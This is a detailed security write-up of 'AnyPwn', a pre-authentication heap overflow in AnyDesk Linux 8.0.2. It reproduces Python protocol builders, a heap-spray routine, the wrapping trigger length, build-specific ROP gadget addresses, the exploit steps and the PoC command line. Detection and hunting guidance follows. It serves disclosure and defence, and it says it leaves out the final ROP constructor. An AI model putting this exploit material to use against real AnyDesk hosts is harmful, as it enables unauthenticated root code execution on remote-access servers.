core-jmp core-jmpdeath of core jump

AnyPwn: AnyDesk Linux 8.0.2 Pre-auth Heap Overflow RCE

AnyPwn is a pre-approval remote code execution bug in AnyDesk Linux 8.0.2. The session protocol's mode-5 handler trusts a remote payload length, adds a 16-byte object header with 32-bit arithmetic, wraps to a tiny allocation, and copies attacker bytes using the original huge logical length. The public PoC talks TLS to TCP/7070 and runs an arbitrary command; the same parser is reachable over AnyDesk relays. Fixed in 8.0.3. This is not CVE-2025-27918.

oxfemale October 9, 2026 30 min read 52 reads
Export PDF
AnyPwn: AnyDesk Linux 8.0.2 Pre-auth Heap Overflow RCE
Original text: “AnyPwn: AnyDesk Pre-auth Heap Buffer Overflow RCE” — Rick de Jager, V12 security team (local tree /pocs/anydesk; public GitHub mirror of the same README). Packet layouts, tables and protocol listings below are reproduced from those materials. The complete runnable PoC remains at the GitHub tree; this draft does not re-host the ROP builder.

Executive Summary

AnyDesk is the remote-desktop program a lot of help desks leave running in the background. On Linux it often listens as a service, on TCP port 7070, and that service is frequently root. V12’s Rick de Jager showed that AnyDesk Linux 8.0.2 will take a length field from a session-protocol packet, add a 16-byte object header using 32-bit arithmetic, wrap the sum to a handful of bytes, and then copy attacker-controlled data using the original huge logical length. That is a pre-approval remote code execution: nobody has to click Accept on the desktop. The researchers named it AnyPwn. The vendor fixed it in 8.0.3 and, they write, appears to have pulled the 8.0.2 build after the PoC video landed.

The supplied proof-of-concept talks the proprietary session protocol over a direct TLS connection to TCP/7070, grooms the heap with graded mode-5 objects, overflows into an adjacent client object, sprays a ret-sled, and walks a build-specific ROP chain into system(). The same parser is reachable over AnyDesk relays; V12 validated that with a minimal Frida trigger and left the full relay exploit as an engineering choice, not a hard limit. This draft walks the packet, the wrap, the protocol reverse-engineering in anydesk_proto/, the heap strategy, the published offsets for SHA-256 62ee04ad…394f5a, and what defenders should hunt. It also separates AnyPwn from CVE-2025-27918, a different AnyDesk integer-overflow story on UDP Discovery.

Kitchen table: Think of a waiter who writes “bring 4 billion plates” on the ticket. The kitchen’s counter only has room for a saucer, because the number wrapped around like a car odometer that rolled from 999999 back to 000000. The waiter then dumps a crate of plates onto that saucer anyway. Whatever was sitting next to the saucer gets crushed. In AnyPwn, the crushed neighbor is a piece of the program that decides what to do next, and the crate contains a new set of instructions.
For operators: Root cause is CWE-190 feeding CWE-122: uint32_t(declared_len + 0x10) for declared_len >= 0xfffffff0 yields 0..15, while the object keeps the large logical length and a data pointer at allocation_base + 0x10. One body byte is already out of bounds. ATT&CK T1210 / T1190; impact T1068 when the Linux service is root. Not CVE-2025-27918.
Cinematic illustration of a remote-desktop session fracturing over a corrupted heap
Featured illustration for this draft: a remote session coming apart over an undersized heap allocation. Additional explainer produced for this draft.

How to read this piece

  • If you run help-desk software and do not reverse binaries: read the green boxes, the wrap diagram, the “patch to 8.0.3” checklist, and the distinction from CVE-2025-27918. The action is inventory AnyDesk Linux, confirm the build is not 8.0.2, and stop exposing TCP/7070.
  • If you reverse proprietary C2-shaped protocols: the blue boxes plus the verbatim frames.py varint and stream builders are the payload. The setup-hit table is a session-replay map, not a new protocol spec from us.
  • If you hunt RCE on remote-access tools: jump to the SHA-256, the port, the mode-5 varint 0xfffffff0, the ten extra TLS clients, and the detection notes. Heap layout is probabilistic; crashes of anydesk --service after odd TLS clients are in-scope telemetry.

What AnyDesk is doing on that port

AnyDesk sells unattended remote access. A typical Linux install runs anydesk --service. Direct connections, when allowed, land on TCP/7070 with TLS. The client presents a certificate; the PoC mints a one-day self-signed cert with CN “AnyDesk Client” and disables verification. After a greeting, the two sides replay a short setup dance. The server assigns a stream identifier. Later traffic on that stream is typed. Mode 5 is the interesting type: a varint-declared length and a body the service treats as an object.

Remote-access tools sit in a nasty place in a network diagram. They are supposed to let a trusted technician in. They also listen. Pre-approval means the listen path can be turned into code execution before a human has agreed that a session should exist. That is why a heap overflow in the session parser is not a crash bug with a yellow sticker. On Linux it is often a root shell with no Accept dialog.

Waiter holding an enormous order ticket next to a tiny saucer
Kitchen-table picture of the wrap: a four-billion-plate order filled with a saucer. Additional explainer produced for this draft.
Kitchen table: Port 7070 is the back door the help-desk app leaves unlocked so technicians can walk in without ringing the front doorbell (the AnyDesk ID plus relay). Unlocking it is convenient. It also means anyone who can reach that door is speaking the same private language the technician uses. AnyPwn is a sentence in that language that the parser believes too early.
For operators: The PoC client is ssl.create_default_context(), check_hostname = False, verify_mode = CERT_NONE, SNI AnyDesk Client. Greeting frames are parsed immediately. Type-1 payload is a 14-byte stub. Setup hits 21, 22, 23, 24, 25, 27, 29, 30 are sent; assignment is expected around hit 29 (SETUP_ASSIGNMENT_HIT). Direct-connect exposure is the lab path. Relays reuse the parser; they are the internet-shaped path.

This is not CVE-2025-27918

AnyDesk has had other integer-overflow stories. CVE-2025-27918 is a critical heap overflow via UDP during Identity user-image processing in Discovery, affecting a different version matrix (Windows before 9.0.5, macOS before 9.0.1, Linux before 7.0.0, and so on). AnyPwn, as published by V12, is Linux 8.0.2, TCP session protocol, mode-5 stream packets, fixed in 8.0.3. Mixing the two CVEs will send your patch window to the wrong build. The AnyPwn README does not assign a CVE identifier. This draft does not invent one.

TopicCVE-2025-27918AnyPwn (this write-up)
Where it livesUDP Discovery / identity imageTCP session protocol, mode-5
Linux branch in public write-upsbefore 7.0.0 in the CVE text8.0.2, fixed in 8.0.3
User click requiredNo (UDP)No (pre-approval session parser)
Transport in the public PoCUDP packetTLS to TCP/7070, relays validated separately
CVE on the V12 READMENot this bugNone assigned in the source
Keep the two AnyDesk integer-overflow stories in separate tickets. Additional explainer produced for this draft.

Abstract, in the researchers’ terms

AnyPwn is a pre-approval remote code execution vulnerability in AnyDesk Linux 8.0.2. The session protocol’s mode-5 stream packet handler trusts a remote payload length before validating it. Adding the 16-byte object header to that length with 32-bit arithmetic can wrap to a tiny allocation while the object retains the original large logical length. AnyDesk then copies attacker-controlled packet bytes beyond the allocation.

The supplied PoC exploits the resulting heap corruption through the direct, local TCP/7070 transport and executes an arbitrary command. The same vulnerable session-protocol path is reachable over AnyDesk relay connections, which V12 validated with a minimal Frida trigger. To limit engineering time, the included minimal PoC demonstrates the full exploit only over direct TCP/7070 connections. The service normally runs as root on Linux, so successful exploitation yields root command execution before desktop-control approval.

Fixed in AnyDesk 8.0.3. The vendor appears to have deleted (?) the 8.0.2 build of anydesk upon the release of our poc video. Porting the exploit to 8.0.1 or obtaining a 8.0.2 build is left as an exercise to the reader.

V12, AnyPwn README
Kitchen table: Pre-approval means the program is already listening and parsing while the on-screen “someone wants to control your PC” box is still empty. The bug lives in that listening parser, not in the click. Patching to 8.0.3 is the whole user-facing story. Everything below is why 8.0.2 was unsafe to leave on a network.

The exact build the offsets belong to

Heap exploits of this shape are build-specific. V12 published the environment the gadgets were taken from. Other builds need other offsets. If the victim object is not immediately after the undersized buffer, the service crashes instead of running the command. That crash is still a production incident.

FieldValue
ProductAnyDesk Linux 8.0.2
Binary SHA-25662ee04ad48dc039dd9c927f998e56143c87a9c5e12d28654f78c7f6340394f5a
Service modeanydesk --service
Target portTCP/7070
PlatformLinux x86_64
Test VM OSLinux Mint 22.3 (Zena), kernel 6.14.0-37-generic
Fixed inAnyDesk 8.0.3
Build census from the original README. Source: original PoC materials.
Symbol in the PoCAddress (this build)
target_vtable0x02B61DB0
stack_pivot (add rsp, 0x1890; pop rbx; ret)0x01398D35
pop_rdi_ret0x01CD984B
ret0x01CD984C
pop_rsi_ret0x01CD3709
write_rdi_rsi_ret0x01C7EAF0
system_plt0x0041B960
scratch_space0x02CB0AC0
Gadgets published in anypwn.py for the SHA-256 above. Other binaries will not match. Source: original PoC materials.
For operators: No PIE slide is applied in the published table; these look like preferred-base / non-randomized or leaked-base values for that specific packaged binary. Treat them as a fingerprint of 8.0.2, not as universal constants. A hunter can YARA the PLT stub neighborhood or the pivot bytes add rsp, 0x1890; pop rbx; ret against remaining 8.0.2 copies. Do not expect the same numbers on 8.0.1.

The mode-5 packet

A mode-5 packet on an assigned stream has the layout V12 published. For a valid packet, mode5_declared_len must not exceed the bytes remaining in the frame. The vulnerable path instead calculates a backing allocation from the unvalidated 32-bit declared length.


```text
u16be frame_len
u16be assigned_stream_id
u8    stream_mode_prefix     0x00
varint mode5_declared_len
u8[]  mode5_body
```
Labeled layout of an AnyDesk mode-5 stream packet
The same layout as the README, drawn so the trusted varint sits in red. Additional explainer produced for this draft.

AnyPwn declares 0xfffffff0 bytes. Adding the 16-byte header in 32-bit arithmetic wraps to zero. Values from 0xfffffff0 through 0xffffffff therefore allocate only 0 through 15 bytes. The object data pointer remains allocation_base + 0x10, and its length remains the original large value, so copying even one body byte writes outside the allocation. The attacker does not need to send four gigabytes: the outer frame remains small, its varint causes the integer wrap, and its body supplies the overflow bytes.

declared_len + 0x10 = 0x1_0000_0000
(uint32_t)(declared_len + 0x10) = 0
Diagram of declared_len 0xfffffff0 wrapping to a zero-sized allocation
The odometer: a 4 GB declaration, a 16-byte add, a 0-byte malloc. Additional explainer produced for this draft.
Kitchen table: The clever part is the lie is in a small field, not in a huge download. A varint is a compact way to write a big number in a few bytes. The program reads “I am 4,294,967,280 bytes long” from a packet that is actually a few dozen bytes, believes the label, and books a cupboard that overflowed to empty. Then it copies the crate anyway.
For operators: Trigger constant in the PoC is MODE5_TRIGGER_DECLARED_LEN = 0xFFFF_FFF0. Encoding is their encode_varint. Prefix byte STREAM_MODE_PREFIX = b"\x00". Body of the trigger is a short C-padding plus overwritten dispatch fields on the adjacent object. The overflow body that plants a vtable and pivot is the last hop of a working exploit; this draft leaves that constructor in the public GitHub tree rather than re-hosting a drop-in RCE.

How the protocol is spoken: frames and varints

The local tree ships a small Python package, anydesk_proto, that reconstructs the observed TCP/7070 framing. Frames are a 16-bit big-endian length plus a body. The body starts with a 16-bit stream id. Stream 0 carries setup objects. Assigned streams carry payloads. A type-9 server reply on stream 0 is how the client learns the assigned id (bytes 7:9 of that payload).

The package surface is the README of the reverse engineering. Everything the PoC sends goes through these helpers.

"""Reusable helpers for the observed AnyDesk TCP/7070 protocol."""

from .client import AnyDeskClient, ConnectResult
from .frames import (
    AnyNetFrame,
    AnyNetRecord,
    build_carrier_payload,
    build_frame,
    build_mode5_payload,
    build_stream_object,
    build_stream_payload,
    encode_varint,
    iter_carrier_chunks,
    iter_mode5_carrier_chunks,
    parse_frames,
)
from .profile import build_profile_body, build_profile_object
from .setup import (
    build_consent_update,
    build_frontend_ready,
    build_protocol_version_object,
    build_setup_message,
    build_setup_object,
    build_stream_ack_object,
    build_stream_request_object,
    build_tag40_probe,
    build_type3_setup,
)

__all__ = [
    "AnyDeskClient",
    "ConnectResult",
    "AnyNetFrame",
    "AnyNetRecord",
    "build_carrier_payload",
    "build_frame",
    "build_mode5_payload",
    "build_stream_object",
    "build_stream_payload",
    "encode_varint",
    "iter_carrier_chunks",
    "iter_mode5_carrier_chunks",
    "parse_frames",
    "build_profile_body",
    "build_profile_object",
    "build_consent_update",
    "build_frontend_ready",
    "build_protocol_version_object",
    "build_setup_message",
    "build_setup_object",
    "build_stream_ack_object",
    "build_stream_request_object",
    "build_tag40_probe",
    "build_type3_setup",
]

Length-prefixed frames

def parse_frame(blob: bytes) -> AnyNetFrame:
    if len(blob) < 2:
        raise ValueError("truncated frame length")
    length = int.from_bytes(blob[:2], "big")
    body = blob[2:]
    if len(body) != length:
        raise ValueError(f"truncated frame body: wanted={length} got={len(body)}")
    record = None
    if len(body) >= 2:
        record = AnyNetRecord(int.from_bytes(body[:2], "big"), body[2:])
    return AnyNetFrame(body=body, record=record)


def parse_frames(blob: bytes) -> list[AnyNetFrame]:
    out: list[AnyNetFrame] = []
    offset = 0
    while offset < len(blob):
        if offset + 2 > len(blob):
            raise ValueError("truncated frame length")
        length = int.from_bytes(blob[offset : offset + 2], "big")
        end = offset + 2 + length
        if end > len(blob):
            raise ValueError(f"truncated frame body: wanted={length} got={len(blob) - offset - 2}")
        out.append(parse_frame(blob[offset:end]))
        offset = end
    return out


def build_frame(body: bytes) -> bytes:
    if len(body) > 0xFFFF:
        raise ValueError(f"frame too large: {len(body)}")
    return len(body).to_bytes(2, "big") + body


def build_stream_payload(stream_id: int, payload: bytes) -> bytes:
    if not 0 <= stream_id <= 0xFFFF:
        raise ValueError(f"stream_id out of range: {stream_id}")
    return build_frame(stream_id.to_bytes(2, "big") + payload)


def build_stream_object(obj: bytes) -> bytes:
    return build_stream_payload(0, obj)

The varint the wrap rides on

Declared lengths are unsigned LEB128-style varints: seven data bits per byte, high bit set means continue. That is why 0xfffffff0 is cheap on the wire. A four-gigabyte claim does not need a four-gigabyte packet.

def encode_varint(value: int) -> bytes:
    if value < 0:
        raise ValueError("varint value must be non-negative")
    out = bytearray()
    while True:
        byte = value & 0x7F
        value >>= 7
        if value:
            out.append(byte | 0x80)
        else:
            out.append(byte)
            return bytes(out)


def build_cc1fc0_queue_payload(obj: bytes, selector: int = 0) -> bytes:
    if not 0 <= selector <= 0xFF:
        raise ValueError(f"selector out of range: {selector}")
    return encode_varint(len(obj) + 1) + bytes([selector]) + obj


def build_carrier_payload(obj: bytes, selector: int = 0, channel: int = 3) -> bytes:
    if not 0 <= channel <= 0xFF:
        raise ValueError(f"channel out of range: {channel}")
    queue_payload = build_cc1fc0_queue_payload(obj, selector)
    return bytes([channel]) + encode_varint(len(queue_payload)) + queue_payload


def build_mode5_payload(payload: bytes) -> bytes:
    return encode_varint(len(payload)) + payload


def iter_carrier_chunks(
    obj: bytes,
    selector: int = 0,
    channel: int = 3,
    max_queue_chunk: int = 0x1002,
) -> Iterable[bytes]:
    if max_queue_chunk <= 0:
        raise ValueError("max_queue_chunk must be positive")
    queue_payload = build_cc1fc0_queue_payload(obj, selector)
    for offset in range(0, len(queue_payload), max_queue_chunk):
        chunk = queue_payload[offset : offset + max_queue_chunk]
        yield bytes([channel]) + encode_varint(len(chunk)) + chunk


def iter_mode5_carrier_chunks(
    obj: bytes,
    selector: int = 0,
    channel: int = 3,
    max_queue_chunk: int = 0x1002,
) -> Iterable[bytes]:
    for carrier in iter_carrier_chunks(
        obj,
        selector=selector,
        channel=channel,
        max_queue_chunk=max_queue_chunk,
    ):
        yield build_mode5_payload(carrier)
Kitchen table: A varint is a suitcase that expands. Small numbers fit in one byte. Huge numbers take a few more bytes, not a moving van. The bug is that the kitchen trusts the number written on the suitcase instead of weighing the suitcase.
For operators: Mode-5 carrier path is build_cc1fc0_queue_payload (varint of len(obj)+1, selector byte, object) wrapped in a channel byte and another varint, then wrapped again by build_mode5_payload. Chunking at MAX_QUEUE_CHUNK = 0xFF00 in the exploit (0x1002 default in the helper) is how large sprays stay inside per-frame limits. Selector 0xF0 is the heap-spray object type; selector 0x00 is the profile.

TLS on 7070, throwaway client certificates

The client is ordinary Python ssl around a TCP socket. It mints a one-day RSA-2048 cert with OpenSSL, loads it, and wraps the socket with verification off. That matches a service that wants a client cert present and does not care which one during this setup.

from __future__ import annotations

import pathlib
import subprocess


def make_client_cert(directory: str | pathlib.Path, common_name: str = "AnyDesk Client") -> tuple[str, str]:
    directory = pathlib.Path(directory)
    cert = directory / "client.crt"
    key = directory / "client.key"
    subprocess.run(
        [
            "openssl",
            "req",
            "-x509",
            "-newkey",
            "rsa:2048",
            "-nodes",
            "-subj",
            f"/CN={common_name}",
            "-keyout",
            str(key),
            "-out",
            str(cert),
            "-days",
            "1",
        ],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        check=True,
    )
    return str(cert), str(key)
MINIMAL_TYPE1_PAYLOAD = b"\x01" + struct.pack(">H", 0) + struct.pack("<H", 1) + (b"\x00" * 9)


@dataclass
class ConnectResult:
    tls_version: str
    cipher: tuple[str, str, int] | None
    greeting: list[AnyNetFrame] = field(default_factory=list)


class AnyDeskClient:
    def __init__(
        self,
        host: str = "127.0.0.1",
        port: int = 7070,
        timeout: float = 5.0,
        server_hostname: str = "AnyDesk Client",
    ) -> None:
        self.host = host
        self.port = port
        self.timeout = timeout
        self.server_hostname = server_hostname
        self._tmpdir: tempfile.TemporaryDirectory[str] | None = None
        self._sock: ssl.SSLSocket | None = None
        self.connect_result: ConnectResult | None = None

    def __enter__(self) -> AnyDeskClient:
        self.connect()
        return self

    def __exit__(self, exc_type, exc, tb) -> None:  # type: ignore[no-untyped-def]
        self.close()

    @property
    def sock(self) -> ssl.SSLSocket:
        if self._sock is None:
            raise RuntimeError("client is not connected")
        return self._sock

    def connect(self) -> ConnectResult:
        if self._sock is not None:
            raise RuntimeError("client is already connected")
        self._tmpdir = tempfile.TemporaryDirectory()
        cert, key = make_client_cert(self._tmpdir.name)

        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        ctx.load_cert_chain(cert, key)

        raw = socket.create_connection((self.host, self.port), timeout=self.timeout)
        raw.settimeout(self.timeout)
        self._sock = ctx.wrap_socket(raw, server_hostname=self.server_hostname)
        self.sock.settimeout(self.timeout)
        greeting = self.recv_frames(timeout=self.timeout)
        self.connect_result = ConnectResult(self.sock.version() or "", self.sock.cipher(), greeting)
        return self.connect_result
    def send_raw(self, frame: bytes, delay: float = 0.0) -> None:
        self.sock.sendall(frame)
        if delay:
            time.sleep(delay)

    def send_type1(self, delay: float = 0.0) -> None:
        self.send_raw(build_stream_payload(0, MINIMAL_TYPE1_PAYLOAD), delay=delay)

    def send_object(self, obj: bytes, delay: float = 0.0) -> None:
        self.send_raw(build_stream_object(obj), delay=delay)

    def send_stream_payload(self, stream_id: int, payload: bytes, delay: float = 0.0) -> None:
        self.send_raw(build_stream_payload(stream_id, payload), delay=delay)
Direct TCP/7070 path versus AnyDesk relay path to the same parser
The PoC is the left column. Relays were validated with Frida and not shipped as a full RCE. Additional explainer produced for this draft.
Kitchen table: The service asks to see a badge. The PoC prints a badge on a sticker printer that says “AnyDesk Client” and the doorman waves it through. Encryption here is a private conversation, not a proof of identity.
For operators: Hunt: TLS to 7070 with SNI AnyDesk Client, a freshly generated cert (notAfter = notBefore + 1 day is the PoC default), and a burst of tiny frames then a mode-5 varint decoding to >= 0xfffffff0. Ten additional TLS handshakes from the same source shortly after a large mode-5 spray is the victim-client stage.

The setup dance

Before mode 5 is interesting, the client has to look like a real session. V12 replay a captured setup as numbered “hits”. Hit 29 is the stream request; that is where the server is expected to assign an id. Hit 30 is the ack. Earlier hits include a JSON consent_update, a Frontend-ready object, a one-byte 0x40 probe, and two type-3 setup blobs.

from __future__ import annotations


# Source/client AnyDesk ID carried in the setup header. Synthetic by default;
# the captured session used 181012429. Configurable per call below.
DEFAULT_SOURCE_ID = 1337

# Session timestamp carried in the message header. Zeroed by default; the
# captured session used 0x7339e399. Configurable per call below.
DEFAULT_TIMESTAMP = 0

# Fixed framing that precedes the 4-byte source id (meaning unconfirmed).
_SETUP_5D_HEADER = bytes.fromhex("5d00000654")


def build_setup_message(
    *,
    kind: int,
    sequence: int,
    flags: bytes,
    name: str,
    payload: bytes,
    source_id: int = DEFAULT_SOURCE_ID,
    timestamp: int = DEFAULT_TIMESTAMP,
) -> bytes:
    if not 0 <= kind <= 0xFF:
        raise ValueError(f"setup message kind out of range: {kind}")
    if not 0 <= sequence <= 0xFFFF:
        raise ValueError(f"setup message sequence out of range: {sequence}")
    if not 0 <= source_id <= 0xFFFFFFFF:
        raise ValueError(f"setup source id out of u32 range: {source_id}")
    if not 0 <= timestamp <= 0xFFFFFFFF:
        raise ValueError(f"setup timestamp out of u32 range: {timestamp}")
    if len(flags) != 4:
        raise ValueError("setup message flags must be exactly 4 bytes")

    name_bytes = name.encode("ascii")
    return b"".join(
        [
            _SETUP_5D_HEADER,
            source_id.to_bytes(4, "big"),
            bytes([kind]),
            sequence.to_bytes(2, "big"),
            b"\x00\x00\x00\x00",
            timestamp.to_bytes(4, "big"),
            flags,
            len(name_bytes).to_bytes(2, "big"),
            name_bytes,
            len(payload).to_bytes(4, "big"),
            payload,
            b"\x00\x00\x00\x00",
        ]
    )

def build_setup_object(
    hit: int,
    source_id: int = DEFAULT_SOURCE_ID,
    timestamp: int = DEFAULT_TIMESTAMP,
) -> bytes:
    builders = {
        21: lambda: build_consent_update(source_id, timestamp),
        22: lambda: build_frontend_ready(source_id, timestamp),
        23: build_tag40_probe,
        24: lambda: build_type3_setup(0x0A),
        25: lambda: build_type3_setup(0x00),
        27: build_protocol_version_object,
        29: build_stream_request_object,
        30: build_stream_ack_object,
    }
    try:
        return builders[hit]()
    except KeyError as exc:
        raise ValueError(f"no setup builder for hit {hit}") from exc
HitBuilderRole in the replay
21build_consent_updateJSON consent blob, kind 0x45, name consent_update
22build_frontend_readykind 0x55, name Frontend, payload {}
23build_tag40_probesingle byte 0x40
24build_type3_setup(0x0A)type-3 setup, mode 0x0A
25build_type3_setup(0x00)type-3 setup, mode 0x00
27build_protocol_version_objectseven-byte version object
29build_stream_request_objectassignment expected here
30build_stream_ack_objectack after the assigned stream
Setup hits from setup.py / SETUP_HITS in the PoC. Source: original PoC materials.

Default source id is 1337. A comment in the file says a captured session used 181012429. Timestamp defaults to 0; a capture used 0x7339e399. Those fields are installation-specific and are not required to be real for the overflow itself. They exist so the parser stays on the happy path long enough to allocate mode-5 objects.

For operators: Stream primer after assignment, from the PoC: peer_stream = assigned-1, then four tiny payloads \x01/\x02 swapped across the pair. That is session-plumbing, not the bug. If you are writing a detector, do not signature 1337 as a magic AnyDesk ID; signature the hit sequence and the later wrap varint.

The profile object that selects the vulnerable path

After setup, the PoC sends a normal profile object so the session enters the profile/session mode-5 path. The profile carries an address, a display string (the PoC uses the V12 X URL as a display address), a 100×100 PNG avatar, and a long list of free-license capability flags. The avatar below is the PNG embedded in profile.py, decoded without re-encoding.

Default 100x100 PNG avatar embedded in the PoC profile object
Embedded default avatar from anydesk_proto/profile.py (_AVATAR_PNG_B64). Source: original PoC materials.

The object layout, minus the giant base64 blob, is: tag 0x00, a 4-byte 1, a 4-byte address, a length-prefixed display string, another 4-byte 1, two marker bytes, a length-prefixed PNG, a license header around a u64 token, then a counted list of ASCII key/value flags. build_profile_body is that object with the first tag byte stripped, because the mode-5 queue wrapper supplies its own selector.

def build_profile_object(...):
    return b"".join([
        b"\x00",
        (1).to_bytes(4, "big"),
        address.to_bytes(4, "big"),
        len(display).to_bytes(4, "big"), display,
        (1).to_bytes(4, "big"),
        b"\x2d\x01",
        len(image_png).to_bytes(4, "big"), image_png,
        _build_license_header(license_token),
        _build_license_section(license_flags),
    ])
Kitchen table: The profile is a name tag plus a tiny mugshot plus a list of which buttons the free license turns on. Sending a boring, valid name tag is how the PoC talks the parser into the room where the dangerous length field is trusted. The mugshot itself is not the overflow. A different AnyDesk bug (CVE-2025-27918) did use identity images on UDP. This one uses the session object after the mugshot has already been accepted.

Heap grooming, then ten extra clients

The overflow is only useful when a victim client object sits next to the wrapped allocation. V12 do not rely on a single lucky size. They send 100 persistent mode-5 objects at each size from 0x1 through 0x17f1 in 0x10 increments, selector 0xF0, with a SPRAY%04x: marker and an A-fill. That populates the allocator’s relevant size classes. Then they open ten additional client connections, so candidate victim objects land among the groomed allocations. This remains probabilistic.

HEAP_SPRAY_SELECTOR = 0xF0
HEAP_SPRAY_START = 0x01
HEAP_SPRAY_STOP = 0x1800
HEAP_SPRAY_STEP = 0x10
HEAP_SPRAY_COUNT_PER_SIZE = 100
HEAP_SPRAY_BATCH_BYTES = 0x40000
VICTIM_CLIENTS = 10
ROP_SENDS = 20
COMMAND = "id>/tmp/anypwn"
STAGE_WIDTH = 22

MODE5_TRIGGER_DECLARED_LEN = 0xFFFF_FFF0
def build_heap_spray_body(size: int) -> bytes:
    marker = b"SPRAY%04x:" % size
    if size <= len(marker):
        return marker[:size]
    return marker + (b"A" * (size - len(marker)))

The later ROP spray is a different heap job. Twenty identical 0xF000-byte objects contain a long ret-gadget sled and then the chain. Repeating the object and providing a wide sled gives the corrupted stack pivot many equivalent landing points instead of requiring an exact address inside a single copy.

Six-stage AnyPwn flow from TLS setup through system() on TCP/7070
Operator checklist of the seven README steps, drawn as six stages. Additional explainer produced for this draft.
Kitchen table: Grooming the heap is like filling a parking lot with identical rental cars so that when one space is a tiny crushed spot, the car in the next space is one you chose. Ten extra clients are ten extra cars you hope parked beside the hole. Sometimes they do not, and the program just crashes. That is why the README says the layout is probabilistic.
For operators: Spray math: sizes = range(0x01, 0x1800, 0x10) → 384 sizes × 100 = 38,400 objects, batched at 0x40000 bytes per send. Plus 10 victim sockets, plus 20 ROP objects of 0xF000. Network telemetry of a single source emitting tens of thousands of similarly sized TLS application records to 7070, then ten fresh handshakes, then a tiny frame whose varint is 0xfffffff0, is the sequence. Do not wait for a successful system() to page.

From overflow to command execution

The README lists seven steps. They are the whole exploit story, and they are already public.

  1. Complete service setup and obtain an assigned stream.
  2. Send a normal profile object to enter the profile/session mode-5 path.
  3. Groom the allocator with the size-graded mode-5 spray, then open the ten candidate victim clients.
  4. Send a packet declaring mode5_declared_len = 0xfffffff0. Its body overflows the wrapped allocation and replaces dispatch-related fields in an adjacent victim, including a chosen vtable and stack-pivot gadget.
  5. Spray the repeated ROP objects so the pivot can land in a ret sled and advance to the chain.
  6. Continue setup on each victim client. Processing the corrupted victim uses the overwritten control data and transfers execution through the pivot into a sprayed chain.
  7. The chain writes the requested command into fixed scratch memory, loads its address as the first argument, and calls the target build’s system() PLT entry.

A pwndbg telescope comment in the trigger function shows what the authors were looking at on the adjacent object: a vtable pointer, a fiber name pointer that will be freed, and the slot they overwrite with the stack pivot. The ROP constructor writes the command string eight bytes at a time into scratch_space with a pop rdi / pop rsi / write gadget, then pop rdi ; scratch ; system@plt. The published chain is specific to the SHA-256 above. This draft does not paste that constructor.

Cause chain from untrusted length through integer wrap to RCE
CWE-1284 → CWE-190 → CWE-122 → hijack. Additional explainer produced for this draft.
For operators: Pivot gadget is add rsp, 0x1890; pop rbx; ret at 0x01398D35 on this build. A 0x1890 stack adjustment plus a wide ret sled is how they absorb uncertainty about exact RSP at hijack time. system@plt at 0x0041B960 is a full RELRO/partial-RELRO question for a patch-gap hunter: if a later 8.0.2-shaped binary still exports that PLT slot, the rest of the chain can be rebuilt. ASLR would require an extra leak this PoC does not show; the published addresses imply they ran against a binary whose load base was known or stable in the lab VM.

Running the public PoC (lab only)

The README’s exploitation section is short and already public. It assumes a vulnerable 8.0.2 service with TCP/7070 reachable, Python 3, and the rich package. The default command writes id to /tmp/anypwn.

cd exploit
python3 anypwn.py --host 127.0.0.1 --command 'id>/tmp/anypwn'

cat /tmp/anypwn

For a directly reachable remote target, the README says to replace 127.0.0.1 with the target host. Heap layout is probabilistic. Other builds need other offsets. The complete Python, including the ROP builder, is in the GitHub tree linked at the top. This WordPress draft is the map, not a second copy of the burglar’s finished toolkit.

Kitchen table: If you are not running a lab VM with a copy of 8.0.2 you are allowed to break, you do not run this. You patch. The command block is here because it is how V12 documented their result, and because defenders should recognize those arguments in shell history and EDR command-line telemetry.

Relays, Frida, and the internet-shaped version

Direct TCP/7070 is the engineering shortcut. AnyDesk in the wild often connects through vendor relays so two hosts behind NAT can meet. V12 state that the same vulnerable session-protocol path is reachable over those relays, and that they validated it with a minimal Frida trigger. They did not ship the full relay RCE, citing engineering time. That sentence should be read as: the parser is on the relay path; the missing work is plumbing, not a second bug.

For a defender, that means “we do not allow direct connections” is not a complete mitigation. Direct-connect exposure makes the published PoC trivial. Relays keep the parser. Patching to 8.0.3 is the control that actually closes the handler.

Kitchen table: Imagine the restaurant has a private dining room (port 7070) and a concierge who forwards letters (the relay). The poisoned ticket works in the dining room. The researchers checked that the concierge delivers the same ticket to the same kitchen. They did not publish the concierge disguise. The kitchen still needs to stop trusting the number on the ticket.

Detection, hunting, and crash telemetry

On the host

  • Inventory anydesk --service. Record file SHA-256. The vulnerable lab build is 62ee04ad48dc039dd9c927f998e56143c87a9c5e12d28654f78c7f6340394f5a. Anything still hashing to that is a fire.
  • Package version: 8.0.2 is the named target; 8.0.3 is the named fix. 8.0.1 is explicitly unproven in the README.
  • Process crashes of the AnyDesk service after inbound TLS to 7070, especially with a following core that shows a smashed vtable or a jump through 0x01398d35 on this build.
  • Unexpected files such as /tmp/anypwn, or system() of a command-line that the service never had a UI reason to run.

On the wire

  • TLS to TCP/7070, SNI AnyDesk Client, client cert minted for one day.
  • A mode-5 frame whose varint decodes to a length in 0xfffffff0..0xffffffff while the actual frame is small.
  • A preceding burst of thousands of similarly sized mode-5 objects (selector 0xF0 in this PoC) and ten extra handshakes from the same source.

ATT&CK / CWE

LensIDHow it applies
Initial access / lateralT1210 Exploitation of Remote ServicesAnyDesk is a remote-access service. The parser is the service.
Exposed listenerT1190 Exploit Public-Facing ApplicationTCP/7070 or a relay that terminates into the same parser.
Impact when service is rootT1068 Exploitation for Privilege EscalationThe PoC’s id landing in /tmp/anypwn is the lab proof.
Integer wrapCWE-190declared_len + 0x10 in 32-bit arithmetic.
Heap overflowCWE-122 / CWE-787Copy sized from the unwrapped logical length.
Untrusted lengthCWE-1284Length taken from the packet before remaining-frame validation.
Mapping for tickets. The source did not assign a CVE. Additional explainer produced for this draft.

What this article does not give you

  • A re-hosted copy of build_rop_payload / the trigger overflow body that plants the vtable. Those live in the public GitHub tree if you have an authorized lab.
  • A relay-path RCE. V12 validated reachability with Frida and did not ship the full plumbing.
  • Offsets for 8.0.1 or for any build other than the published SHA-256.
  • A CVE number. None is on the README.
  • A claim that Windows AnyDesk 8.0.2 is in scope. The write-up is Linux 8.0.2.

Key Takeaways

  • AnyPwn is pre-approval RCE in AnyDesk Linux 8.0.2: a mode-5 length is trusted, a 16-byte header add wraps in uint32, a tiny allocation is copied as if it were huge.
  • The service often runs as root. Desktop Accept is not on the path.
